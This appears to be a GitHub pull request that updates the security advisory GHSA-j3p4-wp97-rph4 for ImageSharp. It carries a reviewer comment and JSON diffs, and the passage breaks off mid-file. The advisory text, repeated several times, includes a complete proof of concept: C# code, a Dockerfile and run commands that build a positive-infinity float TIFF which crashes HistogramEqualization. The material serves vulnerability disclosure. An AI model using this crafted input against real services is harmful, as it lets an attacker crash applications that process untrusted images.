Repository navigation
[GHSA-j3p4-wp97-rph4] ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index - #10268
Conversation
|
Hi there @JimBobSquarePants! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository. This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory |
There was a problem hiding this comment.
🟡 Changes recommended
The narrative still incorrectly describes the affected versions as one continuous range through v4.1.1.
1 open finding
What changed in this PR
Updates the ImageSharp advisory to reflect the v3 backported security fix.
Changes:
- Adds 3.2.0 as a patched version.
- Splits affected ranges between v2/v3 and v4.
| File | Description |
|---|---|
GHSA-j3p4-wp97-rph4.json |
Updates affected ranges and remediation guidance. |
🧠 Review effort: Balanced
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| ], | ||
| "summary": "ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index", | ||
| "details": "### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List<byte> ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i < width; i++)\n {\n file.AddRange(BitConverter.GetBytes(sample));\n }\n\n return file.ToArray();\n }\n\n private static void Main(string[] args)\n {\n string mode = args.FirstOrDefault() ?? \"exploit\";\n float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n byte[] tiff = BuildTiff(sample);\n Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```", | ||
| "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List<byte> ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i < width; i++)\n {\n file.AddRange(BitConverter.GetBytes(sample));\n }\n\n return file.ToArray();\n }\n\n private static void Main(string[] args)\n {\n string mode = args.FirstOrDefault() ?? \"exploit\";\n float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n byte[] tiff = BuildTiff(sample);\n Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```", |
|
The review is correct. I have corrected the repository advisory description. Its current I cannot push to the GitHub-managed contribution branch (the Contents API returns HTTP 404 for the update). Please apply the following correction to this PR. It aligns the description with the existing affected ranges and sets Exact JSON changes--- a/advisories/github-reviewed/2026/10/GHSA-j3p4-wp97-rph4/GHSA-j3p4-wp97-rph4.json
+++ b/advisories/github-reviewed/2026/10/GHSA-j3p4-wp97-rph4/GHSA-j3p4-wp97-rph4.json
@@ -4 +4 @@
- "modified": "2026-10-07T20:24:24Z",
+ "modified": "10/09/2026 11:35:17",
@@ -10 +10 @@
- "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List<byte> ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i < width; i++)\n {\n file.AddRange(BitConverter.GetBytes(sample));\n }\n\n return file.ToArray();\n }\n\n private static void Main(string[] args)\n {\n string mode = args.FirstOrDefault() ?? \"exploit\";\n float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n byte[] tiff = BuildTiff(sample);\n Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```",
+ "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index affects versions from v2.0.0 up to, but not including, v3.2.0, and v4 versions from v4.0.0 up to, but not including, v4.1.2. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=<0.5, 0.5, 0.5, 1>\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List<byte> ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i < width; i++)\n {\n file.AddRange(BitConverter.GetBytes(sample));\n }\n\n return file.ToArray();\n }\n\n private static void Main(string[] args)\n {\n string mode = args.FirstOrDefault() ?? \"exploit\";\n float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n byte[] tiff = BuildTiff(sample);\n Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n 